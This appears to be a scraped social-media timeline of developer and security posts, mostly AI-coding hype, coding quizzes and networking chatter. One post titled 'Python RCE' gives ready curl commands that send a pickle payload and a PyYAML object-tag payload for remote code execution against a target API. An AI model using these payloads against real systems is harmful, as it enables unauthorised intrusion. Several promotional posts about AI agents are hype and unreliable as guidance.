Ashley Foster 🗽💻

Learning and Building

[Ashley Foster 🗽💻 @devlifeofAshley]

Hey @X
I'm looking to #connect with people interested in:
- Frontend
- Backend
- Full stack
- DevOps
- AI/ML
- Data Science
- UI/UX
- Freelancing
- Startup
- Saas
Say hi 👋 & Let's grow together #BuildingInPublic #CONNECT

[Pooya Parsa 🇯🇵 @_pi0_]

One of the best pleasant moments using @claudeai models: they natively know about @unjsio libs and their design.

[I'M H4CK3R 42 @luckyhacker43]

Resources:
🔗 https://t.co/4MEpwkn7A2
🔗 https://t.co/dm4kvzZDYR
🔗 GHSA-c3f5-4g7f-qjqj
🔗 https://t.co/llZoqHKXVB

Join 👉 https://t.co/cADA5DUdp5

#Joomla #CVE #RCE #InfoSec

[Rhys @RhysSullivan]

i know you guys don't know how to read code anymore but it's so nice to be able to just read this

[Khairallah AL-Awady @eng_khairallah1]

opus 5.5 is f**king insane.

drop this into Claude Opus 5.5 and it will design your first full team of AI agents with prompts, workflows, and everything for you

save and steal this now:

[Vikash Singh Tomar @code_bytein]

Post has 100 comments.
API fires 201 queries.
Post has 1000 comments.
API fires 2001 queries.

Works fine in dev.
Kills production.
What's wrong? 🤔

[S3cur3Th1sSh1t @ShitSecure]

When your only authorization is JavaScript client side. And you can make yourself admin in 20 minutes. Than you know this was vibe coded. What is happening in 2026? 🤣

[marfin @marfinxx]

this is pure f*cking insane

Anthropic just showed what 100 sub-agents running simultaneously inside Claude Code actually looks like

an autonomous terminal spider crawls across 100 sandboxes in real time: ripping out fatal bugs, verifying AST diffs, and crowning the sole survivor

run an elimination tournament with /arena

claude /arena --agents 100 --seed 7 --waves 10

Opus 5.5 spawns 100 diverse problem-solvers across 2,160 strategy decks
Sonnet 5.5 pairs them in head-to-head duels inside isolated sandboxes
Adversarial judges attack every solution at three critical choke points:

> before code executes: does the architecture hide silent race conditions or lock contention?
> when input scale multiplies: does memory explode to O(N^2) or leak file descriptors?
> before marking done: does a single unhandled timeout crash the entire pipeline?

100 spawn. 50 attack. 1 battle-tested survivor ships

The core engineering shift: zero context bleeding

If 100 agents share one chat window, they copy each other's hallucinations within 2 prompts
Arena locks each agent into an isolated sandbox, forces 5 rounds of brutal peer critique, and lets a blind judge eliminate flaws

Spawn on diversity. Eliminate on fatal flaws. Ship the survivor

- the full tournament loop
> wave 1-10: 100 diverse briefs generated across 2,160 reasoning seeds
> round 1: 50 head-to-head matches paired with segregated reasoning styles
> round 2: autonomous spider crawler inspects AST trees and extracts fatal bugs
> round 3: defenders get one revision round to patch verified vulnerabilities
> round 4: blind judge scores survivors on a strict 100-point rubric
> grand finals: 1 hardened, attack-proof solution survives into production

paste the setup and this prompt into Claude Code below:

"Configure my Claude Code workspace for the 100-agent tournament arena:

1. Audit ~/.claude/skills and project .claude/skills for the arena-skill package
> Clone from repo if missing
> Configure 10 execution waves with 10 concurrent sub-agents to avoid rate limits
> Assign isolated sandbox directories in .arena/runs/ to prevent context bleeding

2. Set up tournament bracket rules in ~/.claude/settings.json:
> Enable sub-agent spawning with CLAUDE_CODE_EXPERIMENTAL_SUBAGENTS=1
> Pin lead evaluator model to Opus 5.5 and tournament workers to Sonnet 5.5

3. Initialize rubric.md with a 100-point blind scoring matrix across correctness, completeness, and edge-case handling

4. Add a rule to ~/.claude/CLAUDE.md: any single-agent answer on mission-critical architecture must survive a 100-agent arena bracket before merge

Show every configuration diff first. Do not apply edits until confirmed"

[Swadesh Kumar @swadeshkumar_]

🚨Breaking: Anthropic engineers revealed a simple trick they use internally.

Claude agents can now remember how to improve themselves.

A file called:

AGENT_LEARNINGS.md

The AI updates this file whenever it makes a mistake.

Inside it:

• mistakes it made
• patterns to avoid
• better approaches

Before starting new tasks, the agent reads the file.

Result?

The agent gets smarter over time without retraining the model.

This is called external memory scaffolding.

Expect this pattern to show up in every serious AI agent system.

♻️ Repost to share with your audience.
✔️ You can follow @swadeshkumar_ for more internal updates.

[Benjamin Bennett Alexander @RealBenjizo]

SQL Experts and Learners

Here is a question for you

Which one of these queries are you going to run?

[Krishna jeena @JeenaKrish91074]

If you are not a vibe coder:

Find the error.

[Brute @BRuteLogic]

Python RCE

Pickle
curl TARGET/api -H"Content-Type:application/json" -d'{"data":"gASVKwAAAAAAAACMCnN1YnByb2Nlc3OUjAxjaGVja19vdXRwdXSUk5RdlIwCaWSUYYWUUpQu"}'

PyYAML
curl TARGET/api/config -H"Content-Type:application/x-yaml" -d'!!python/object/new:subprocess.check_output [["id"]]'

[Krishna jeena @JeenaKrish91074]

If you are not a vibe coder:

Find the bug 💻

[0xroot @0xrootRE]

What's Inside Tesla @greentheonly

[pushpak @pushpak1300]

okay, the time has finally come 👀

One of the most requested features for Laravel AI SDK is HERE. 🔥

Your agents can now have Skills. 🧠

Agent skills support dropped in AI SDK v1.1.0

https://t.co/sCVmzhc48F

[DHH @dhh]

I love this. Nothing will nerdsnipe a programmer like seeing a benchmark they believe could be improved. We share the joy of a good RL loop with the clankers!

[Ashley Foster 🗽💻 @devlifeofAshley]

@MyWayvohs Hey uhm no offense intended here, but are you aware your account is being shadow banned?

[Ashley Foster 🗽💻 @devlifeofAshley]

@Madnessofus Hey uhm no offense intended here, but are you aware your account is being shadow banned?

[Ashley Foster 🗽💻 @devlifeofAshley]

@lauraeoconnell Hey uhm no offense intended here, but are you aware your account is being shadow banned?

[Ashley Foster 🗽💻 @devlifeofAshley]

@TySimone4 Hey uhm no offense intended here, but are you aware your account is being shadow banned?